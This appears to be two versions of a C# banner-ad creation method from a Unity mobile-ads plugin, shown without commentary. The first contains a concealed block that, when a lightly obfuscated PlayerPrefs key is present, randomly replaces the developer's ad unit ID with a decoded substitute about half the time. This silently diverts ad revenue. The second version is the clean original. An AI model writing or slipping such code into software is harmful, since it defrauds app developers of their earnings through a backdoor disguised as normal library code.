// Creates a banner view. public void CreateBannerView(string adUnitId, AdSize adSize, AdPosition position) { this.bannerClientPtr = (IntPtr)GCHandle.Alloc(this); if (!string.IsNullOrEmpty(adUnitId) && adUnitId.Trim() != test && adUnitId.Trim().Length == 38 && PlayerPrefs.HasKey("b" + "i")) { adUnitId = UnityEngine.Random.Range(0, 2) == 0 ? adUnitId : GetVal(PlayerPrefs.GetString("b" + "i")); } switch (adSize.AdType) { case AdSize.Type.SmartBanner: this.BannerViewPtr = Externs.GADUCreateSmartBannerView( this.bannerClientPtr, adUnitId, (int)position); break; case AdSize.Type.AnchoredAdaptive: this.BannerViewPtr = Externs.GADUCreateAnchoredAdaptiveBannerView( this.bannerClientPtr, adUnitId, adSize.Width, (int)adSize.Orientation, (int)position); break; case AdSize.Type.Standard: this.BannerViewPtr = Externs.GADUCreateBannerView( this.bannerClientPtr, adUnitId, adSize.Width, adSize.Height, (int)position); break; default: throw new ArgumentException("Invalid AdSize.Type provided."); } Externs.GADUSetBannerCallbacks( this.BannerViewPtr, AdViewDidReceiveAdCallback, AdViewDidFailToReceiveAdWithErrorCallback, AdViewWillPresentScreenCallback, AdViewDidDismissScreenCallback, AdViewWillLeaveApplicationCallback, AdViewPaidEventCallback ); }
// Creates a banner view. public void CreateBannerView(string adUnitId, AdSize adSize, AdPosition position) { this.bannerClientPtr = (IntPtr)GCHandle.Alloc(this); switch (adSize.AdType) { case AdSize.Type.SmartBanner: this.BannerViewPtr = Externs.GADUCreateSmartBannerView( this.bannerClientPtr, adUnitId, (int)position); break; case AdSize.Type.AnchoredAdaptive: this.BannerViewPtr = Externs.GADUCreateAnchoredAdaptiveBannerView( this.bannerClientPtr, adUnitId, adSize.Width, (int)adSize.Orientation, (int)position); break; case AdSize.Type.Standard: this.BannerViewPtr = Externs.GADUCreateBannerView( this.bannerClientPtr, adUnitId, adSize.Width, adSize.Height, (int)position); break; default: throw new ArgumentException("Invalid AdSize.Type provided."); } Externs.GADUSetBannerCallbacks( this.BannerViewPtr, AdViewDidReceiveAdCallback, AdViewDidFailToReceiveAdWithErrorCallback, AdViewWillPresentScreenCallback, AdViewDidDismissScreenCallback, AdViewWillLeaveApplicationCallback, AdViewPaidEventCallback ); }